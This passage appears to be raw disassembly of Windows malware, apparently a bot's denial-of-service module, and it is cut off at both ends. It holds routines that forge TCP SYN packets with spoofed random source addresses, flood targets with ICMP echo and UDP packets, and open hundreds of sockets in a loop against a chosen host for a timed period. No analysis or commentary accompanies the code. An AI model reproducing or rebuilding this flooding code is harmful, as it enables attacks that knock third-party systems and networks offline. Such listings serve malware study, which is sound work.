[ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CB9D4 ; htons mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_41CD20 lea eax, [ebp+var_B4] push 34h push eax call sub_40AA5F mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_41CD20 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41BF70 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AA5F mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_4CBA38 ; sendto cmp eax, 0FFFFFFFFh jz short loc_413989 add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax call dword_427138 ; QueryPerformanceCounter mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_4139B2 jl loc_413846 mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_4139B2 jmp loc_413846 ; --------------------------------------------------------------------------- loc_413989: ; CODE XREF: sub_413694+2CBj call dword_4CB968 ; WSAGetLastError push eax lea eax, [ebp+var_F4] push offset dword_4378C4 push eax call sub_41C266 lea eax, [ebp+var_F4] push eax call sub_415D38 add esp, 10h jmp short loc_4139B5 ; --------------------------------------------------------------------------- loc_4139B2: ; CODE XREF: sub_413694+2E0j ; sub_413694+2EEj mov ebx, [ebp+arg_8] loc_4139B5: ; CODE XREF: sub_413694+78j ; sub_413694+31Cj push [ebp+var_20] call dword_4CBA6C ; closesocket pop esi loc_4139BF: ; CODE XREF: sub_413694+5Bj call dword_4CB92C ; WSACleanup mov eax, ebx loc_4139C7: ; CODE XREF: sub_413694+3Bj pop edi pop ebx leave retn sub_413694 endp ; =============== S U B R O U T I N E ======================================= sub_4139CB proc near ; CODE XREF: sub_4135DF+4Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40A8F0 push [esp+10h+arg_4] mov esi, eax call sub_41C159 push [esp+14h+arg_C] mov ebx, eax call sub_41C159 mov edi, eax call sub_41C2C2 cdq mov ecx, 200h push edi idiv ecx push ebx push [esp+20h+arg_8] lea eax, [edx+esi+100h] push eax push esi call sub_413694 add esp, 20h test eax, eax jnz short loc_413A1A push 1 pop eax loc_413A1A: ; CODE XREF: sub_4139CB+4Aj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_4139CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413A29 proc near ; DATA XREF: sub_401ACD+6643o var_3BC = byte ptr -3BCh var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_138 = byte ptr -138h var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3BCh push ebx push esi mov eax, [ebp+arg_0] push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_1BC] push 1 pop ebx push 0FFh push 3 rep movsd push 2 mov [eax+19Ch], ebx call dword_4CBA54 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_413AC4 call dword_4CB968 ; WSAGetLastError push eax lea eax, [ebp+var_3BC] push offset unk_4379C4 push eax call sub_41C266 xor edi, edi add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_413AA7 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_409869 add esp, 14h loc_413AA7: ; CODE XREF: sub_413A29+5Cj lea eax, [ebp+var_3BC] push eax call sub_415D38 push [ebp+var_38] call sub_40B6D6 pop ecx pop ecx push edi call dword_4270D4 ; ExitThread loc_413AC4: ; CODE XREF: sub_413A29+3Aj lea ecx, [ebp+var_C] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_C], ebx call dword_4CB9B4 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_413B3B call dword_4CB968 ; WSAGetLastError push eax lea eax, [ebp+var_3BC] push offset unk_437994 push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_413B1E push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_409869 add esp, 14h loc_413B1E: ; CODE XREF: sub_413A29+D3j lea eax, [ebp+var_3BC] push eax call sub_415D38 push [ebp+var_38] call sub_40B6D6 pop ecx pop ecx push edi call dword_4270D4 ; ExitThread loc_413B3B: ; CODE XREF: sub_413A29+B3j lea eax, [ebp+var_1B8] push eax call dword_4CBA14 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_413BA2 lea eax, [ebp+var_3BC] push offset unk_437974 push eax call sub_41C266 cmp [ebp+var_24], edi pop ecx pop ecx jnz short loc_413B85 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_409869 add esp, 14h loc_413B85: ; CODE XREF: sub_413A29+13Aj lea eax, [ebp+var_3BC] push eax call sub_415D38 push [ebp+var_38] call sub_40B6D6 pop ecx pop ecx push edi call dword_4270D4 ; ExitThread loc_413BA2: ; CODE XREF: sub_413A29+122j push 10h lea eax, [ebp+var_1C] push edi push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_1C], 2 push edi call dword_4CB9D4 ; htons mov [ebp+var_1A], ax lea eax, [ebp+var_1B8] push eax call dword_4CBA14 ; inet_addr mov esi, dword_4270B0 mov [ebp+var_18], eax mov [ebp+arg_0], edi call esi ; GetTickCount mov [ebp+var_8], eax loc_413BE0: ; CODE XREF: sub_413A29+2E8j call esi ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_30] ja loc_413D8B push 41Ch mov byte_4CE740, 45h call dword_4CB9D4 ; htons cmp [ebp+var_2C], edi mov word_4CE742, ax mov word_4CE744, bx mov word_4CE746, di mov byte_4CE748, 80h mov byte_4CE749, bl mov word_4CE74A, di jz short loc_413C66 call sub_41C2C2 mov ebx, eax shl ebx, 8 call sub_41C2C2 add ebx, eax shl ebx, 8 call sub_41C2C2 add ebx, eax shl ebx, 8 call sub_41C2C2 add ebx, eax push 1 mov dword_4CE74C, ebx pop ebx jmp short loc_413C7E ; --------------------------------------------------------------------------- loc_413C66: ; CODE XREF: sub_413A29+20Bj push [ebp+var_1BC] call sub_40AA06 pop ecx push eax call dword_4CBA14 ; inet_addr mov dword_4CE74C, eax loc_413C7E: ; CODE XREF: sub_413A29+23Bj mov eax, [ebp+var_18] mov dword_4CE750, eax call sub_41C2C2 cdq mov ecx, 100h idiv ecx mov byte_4CE754, dl call sub_41C2C2 cdq mov ecx, 100h idiv ecx mov byte_4CE755, dl call sub_41C2C2 cdq mov ecx, 0F0h push 400h idiv ecx mov word_4CE756, di mov word_4CE75A, bx inc edx mov word_4CE758, dx call sub_41C2C2 cdq mov ecx, 0FFh idiv ecx push edx push offset dword_4CE75C call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_1C] push 10h push eax push edi push 41Ch push offset byte_4CE740 push [ebp+var_4] call dword_4CBA38 ; sendto cmp eax, 0FFFFFFFFh jz short loc_413D16 inc [ebp+arg_0] jmp loc_413BE0 ; --------------------------------------------------------------------------- loc_413D16: ; CODE XREF: sub_413A29+2E3j push [ebp+var_4] call dword_4CBA6C ; closesocket call dword_4CB968 ; WSAGetLastError push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax push offset unk_43792C lea eax, [ebp+var_3BC] push 200h push eax call sub_41C360 add esp, 18h cmp [ebp+var_24], edi jnz short loc_413D6E push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_409869 add esp, 14h loc_413D6E: ; CODE XREF: sub_413A29+323j lea eax, [ebp+var_3BC] push eax call sub_415D38 push [ebp+var_38] call sub_40B6D6 pop ecx pop ecx push edi call dword_4270D4 ; ExitThread loc_413D8B: ; CODE XREF: sub_413A29+1C8j push [ebp+var_4] call dword_4CBA6C ; closesocket mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_30] shr ecx, 14h push ecx push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax lea eax, [ebp+var_138] push eax lea eax, [ebp+var_3BC] push offset unk_4378E0 push eax call sub_41C266 add esp, 1Ch cmp [ebp+var_24], edi jnz short loc_413DF3 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_409869 add esp, 14h loc_413DF3: ; CODE XREF: sub_413A29+3A8j lea eax, [ebp+var_3BC] push eax call sub_415D38 push [ebp+var_38] call sub_40B6D6 pop ecx pop ecx push edi call dword_4270D4 ; ExitThread sub_413A29 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413E10 proc near ; DATA XREF: sub_401ACD+542Do var_10320 = byte ptr -10320h var_344 = byte ptr -344h var_144 = dword ptr -144h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10320h call sub_41C500 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd push 1 pop edi mov [eax+120h], edi call dword_4CB95C ; IcmpCreateFile mov [ebp+arg_0], eax lea eax, [ebp+var_C0] push eax call dword_4CBA14 ; inet_addr mov esi, eax xor ebx, ebx xor eax, eax cmp esi, 0FFFFFFFFh jnz short loc_413E6B lea eax, [ebp+var_C0] push eax call dword_4CBA58 ; gethostbyname cmp eax, ebx jz short loc_413E71 loc_413E6B: ; CODE XREF: sub_413E10+48j cmp [ebp+arg_0], 0FFFFFFFFh jnz short loc_413ECE loc_413E71: ; CODE XREF: sub_413E10+59j lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_437A1C push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_413EB1 push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_409869 add esp, 14h loc_413EB1: ; CODE XREF: sub_413E10+7Fj lea eax, [ebp+var_344] push eax call sub_415D38 push [ebp+var_30] call sub_40B6D6 pop ecx pop ecx push edi call dword_4270D4 ; ExitThread loc_413ECE: ; CODE XREF: sub_413E10+5Fj cmp eax, ebx jz short loc_413EDE mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_4], eax jmp short loc_413EE1 ; --------------------------------------------------------------------------- loc_413EDE: ; CODE XREF: sub_413E10+C0j mov [ebp+var_4], esi loc_413EE1: ; CODE XREF: sub_413E10+CCj push 1Ch lea eax, [ebp+var_20] push ebx push eax call sub_41BF70 or [ebp+var_18], 0FFFFFFFFh mov eax, 0FFDCh add esp, 0Ch cmp [ebp+var_3C], eax jle short loc_413F01 mov [ebp+var_3C], eax loc_413F01: ; CODE XREF: sub_413E10+ECj cmp [ebp+var_38], edi jge short loc_413F09 mov [ebp+var_38], edi loc_413F09: ; CODE XREF: sub_413E10+F4j xor esi, esi cmp [ebp+var_40], ebx jle short loc_413F36 loc_413F10: ; CODE XREF: sub_413E10+124j push [ebp+var_38] lea eax, [ebp+var_20] push 1Ch push eax push ebx lea eax, [ebp+var_10320] push [ebp+var_3C] push eax push [ebp+var_4] push [ebp+arg_0] call dword_4CB8EC ; IcmpSendEcho inc esi cmp esi, [ebp+var_40] jl short loc_413F10 loc_413F36: ; CODE XREF: sub_413E10+FEj push [ebp+arg_0] call dword_4CBA8C ; IcmpCloseHandle lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_4379F0 push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_413F7F push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_409869 add esp, 14h loc_413F7F: ; CODE XREF: sub_413E10+14Dj lea eax, [ebp+var_344] push eax call sub_415D38 push [ebp+var_30] call sub_40B6D6 pop ecx pop ecx push ebx call dword_4270D4 ; ExitThread sub_413E10 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413F9C proc near ; DATA XREF: sub_401ACD+5679o var_10312 = byte ptr -10312h var_10310 = byte ptr -10310h var_334 = byte ptr -334h var_134 = dword ptr -134h var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10310h call sub_41C500 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd push 1 pop esi mov [eax+120h], esi call dword_4270B0 ; GetTickCount push eax call sub_41C2B8 pop ecx push 11h push 2 push 2 call dword_4CBA54 ; socket mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_B0] mov [ebp+var_10], 2 push eax call dword_4CBA14 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_414081 lea eax, [ebp+var_B0] push eax call dword_4CBA58 ; gethostbyname cmp eax, edi jnz short loc_41407A lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset unk_437A70 push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_41405D push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_409869 add esp, 14h loc_41405D: ; CODE XREF: sub_413F9C+9Fj lea eax, [ebp+var_334] push eax call sub_415D38 push [ebp+var_20] call sub_40B6D6 pop ecx pop ecx push esi call dword_4270D4 ; ExitThread loc_41407A: ; CODE XREF: sub_413F9C+7Fj mov eax, [eax+0Ch] mov eax, [eax] jmp short loc_414084 ; --------------------------------------------------------------------------- loc_414081: ; CODE XREF: sub_413F9C+6Ej lea eax, [ebp+arg_0] loc_414084: ; CODE XREF: sub_413F9C+E3j mov eax, [eax] cmp [ebp+var_24], edi mov [ebp+var_C], eax jnz short loc_41409F call sub_41C2C2 cdq mov ecx, 0FFDCh idiv ecx inc edx push edx jmp short loc_4140A2 ; --------------------------------------------------------------------------- loc_41409F: ; CODE XREF: sub_413F9C+F0j push [ebp+var_24] loc_4140A2: ; CODE XREF: sub_413F9C+101j call dword_4CB9D4 ; htons cmp [ebp+var_24], esi mov [ebp+var_E], ax jge short loc_4140B4 mov [ebp+var_24], esi loc_4140B4: ; CODE XREF: sub_413F9C+113j mov eax, 0FFFFh cmp [ebp+var_24], eax jle short loc_4140C1 mov [ebp+var_24], eax loc_4140C1: ; CODE XREF: sub_413F9C+120j mov eax, [ebp+var_30] push 0Ah cdq pop ecx idiv ecx cmp [ebp+var_28], edi mov [ebp+var_30], eax jnz short loc_4140D5 mov [ebp+var_28], esi loc_4140D5: ; CODE XREF: sub_413F9C+134j xor esi, esi cmp [ebp+var_2C], edi jle short loc_4140F6 loc_4140DC: ; CODE XREF: sub_413F9C+158j call sub_41C2C2 cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, [ebp+var_2C] mov [ebp+esi-10311h], dl jl short loc_4140DC loc_4140F6: ; CODE XREF: sub_413F9C+13Ej ; sub_413F9C+19Cj ... mov eax, [ebp+var_30] dec [ebp+var_30] test eax, eax jle short loc_414155 push 0Bh pop esi loc_414103: ; CODE XREF: sub_413F9C+197j lea eax, [ebp+var_10] push 10h push eax push edi call sub_41C2C2 push 0Ah cdq pop ecx idiv ecx mov eax, [ebp+var_2C] sub eax, edx push eax lea eax, [ebp+var_10310] push eax push ebx call dword_4CBA38 ; sendto push [ebp+var_28] call dword_427080 ; Sleep dec esi jnz short loc_414103 cmp [ebp+var_24], edi jnz short loc_4140F6 call sub_41C2C2 cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call dword_4CB9D4 ; htons mov [ebp+var_E], ax jmp short loc_4140F6 ; --------------------------------------------------------------------------- loc_414155: ; CODE XREF: sub_413F9C+162j lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset unk_437A44 push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_414195 push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_409869 add esp, 14h loc_414195: ; CODE XREF: sub_413F9C+1D7j lea eax, [ebp+var_334] push eax call sub_415D38 push [ebp+var_20] call sub_40B6D6 pop ecx pop ecx push edi call dword_4270D4 ; ExitThread sub_413F9C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4141B2 proc near ; DATA XREF: sub_401ACD+4CC4o var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_414313 add esp, 0Ch push eax lea eax, [ebp+var_414] push offset dword_437A98 push eax call sub_41C266 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_414232 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_409869 add esp, 14h loc_414232: ; CODE XREF: sub_4141B2+5Ej lea eax, [ebp+var_414] push eax call sub_415D38 push [ebp+var_10] call sub_40B6D6 pop ecx pop ecx push esi call dword_4270D4 ; ExitThread pop edi pop esi sub_4141B2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414251 proc near ; CODE XREF: sub_414313+27p var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_4CB9D4 ; htons mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_41430F push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_41429C: ; CODE XREF: sub_414251+B9j lea esi, [ebp+var_654] mov ebx, edi loc_4142A4: ; CODE XREF: sub_414251+7Aj push 0 push 1 push 2 call dword_427204 ; socket cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_4142C7 lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax call dword_4271E0 ; ioctlsocket loc_4142C7: ; CODE XREF: sub_414251+64j add esi, 4 dec ebx jnz short loc_4142A4 lea esi, [ebp+var_654] mov ebx, edi loc_4142D5: ; CODE XREF: sub_414251+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] call dword_4271F8 ; connect add esi, 4 dec ebx jnz short loc_4142D5 push 64h call dword_427080 ; Sleep lea esi, [ebp+var_654] mov ebx, edi loc_4142F9: ; CODE XREF: sub_414251+B4j push dword ptr [esi] call dword_427200 ; closesocket add esi, 4 dec ebx jnz short loc_4142F9 dec [ebp+arg_4] jnz short loc_41429C pop edi pop esi pop ebx loc_41430F: ; CODE XREF: sub_414251+3Ej xor eax, eax leave retn sub_414251 endp ; =============== S U B R O U T I N E ======================================= sub_414313 proc near ; CODE XREF: sub_4141B2+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40A8F0 push [esp+10h+arg_4] mov edi, eax call sub_41C159 push [esp+14h+arg_8] mov ebx, eax call sub_41C159 mov esi, eax push esi push ebx push edi call sub_414251 add esp, 18h test eax, eax jnz short loc_414349 push 1 pop eax loc_414349: ; CODE XREF: sub_414313+31j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn sub_414313 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414358 proc near ; DATA XREF: sub_401ACD+636Bo var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_4146A9 add esp, 0Ch push eax lea eax, [ebp+var_414] push offset unk_437AC4 push eax call sub_41C266 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_4143D8 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_409869 add esp, 14h loc_4143D8: ; CODE XREF: sub_414358+5Ej lea eax, [ebp+var_414] push eax call sub_415D38 push [ebp+var_10] call sub_40B6D6 pop ecx pop ecx push esi call dword_4270D4 ; ExitThread pop edi pop esi sub_414358 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4143F7 proc near ; CODE XREF: sub_4146A9+3Cp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CB944 ; WSAStartup test eax, eax jz short loc_414437 xor eax, eax jmp loc_4146A5 ; --------------------------------------------------------------------------- loc_414437: ; CODE XREF: sub_4143F7+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CBA78 ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_41469D push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_4CB9B4 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_414693 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_4CB9D4 ; htons mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_4CB9D4 ; htons push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_4CB9D4 ; htons push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_4CB9D4 ; htons mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx call dword_42713C ; QueryPerformanceFrequency lea eax, [ebp+var_8] push eax call dword_427138 ; QueryPerformanceCounter push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_41DB20 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_414522: ; CODE XREF: sub_4143F7+25Dj ; sub_4143F7+26Bj mov [ebp+var_24], bx call sub_41C2C2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CB9D4 ; htons mov [ebp+var_34], ax call sub_41C2C2 mov edi, eax shl edi, 10h call sub_41C2C2 or edi, eax push edi call dword_4CB9D4 ; htons movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CB9D0 ; htonl push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CB9D4 ; htons mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_41CD20 lea eax, [ebp+var_B4] push 34h push eax call sub_40AA5F mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_41CD20 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41BF70 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AA5F mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_4CBA38 ; sendto cmp eax, 0FFFFFFFFh jz short loc_414667 add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax call dword_427138 ; QueryPerformanceCounter mov eax, [ebp+var_4] cmp eax, esi jg short loc_414690 jl loc_414522 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_414690 jmp loc_414522 ; --------------------------------------------------------------------------- loc_414667: ; CODE XREF: sub_4143F7+247j call dword_4CB968 ; WSAGetLastError push eax lea eax, [ebp+var_F4] push offset unk_437AEC push eax call sub_41C266 lea eax, [ebp+var_F4] push eax call sub_415D38 add esp, 10h jmp short loc_414693 ; --------------------------------------------------------------------------- loc_414690: ; CODE XREF: sub_4143F7+25Bj ; sub_4143F7+269j mov ebx, [ebp+arg_8] loc_414693: ; CODE XREF: sub_4143F7+78j ; sub_4143F7+297j push [ebp+var_C] call dword_4CBA6C ; closesocket pop esi loc_41469D: ; CODE XREF: sub_4143F7+5Bj call dword_4CB92C ; WSACleanup mov eax, ebx loc_4146A5: ; CODE XREF: sub_4143F7+3Bj pop edi pop ebx leave retn sub_4143F7 endp ; =============== S U B R O U T I N E ======================================= sub_4146A9 proc near ; CODE XREF: sub_414358+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40A8F0 push [esp+10h+arg_4] mov esi, eax call sub_41C159 push [esp+14h+arg_8] mov ebx, eax call sub_41C159 mov edi, eax call sub_41C2C2 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_4143F7 add esp, 1Ch test eax, eax jnz short loc_4146F4 push 1 pop eax loc_4146F4: ; CODE XREF: sub_4146A9+46j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_4146A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: 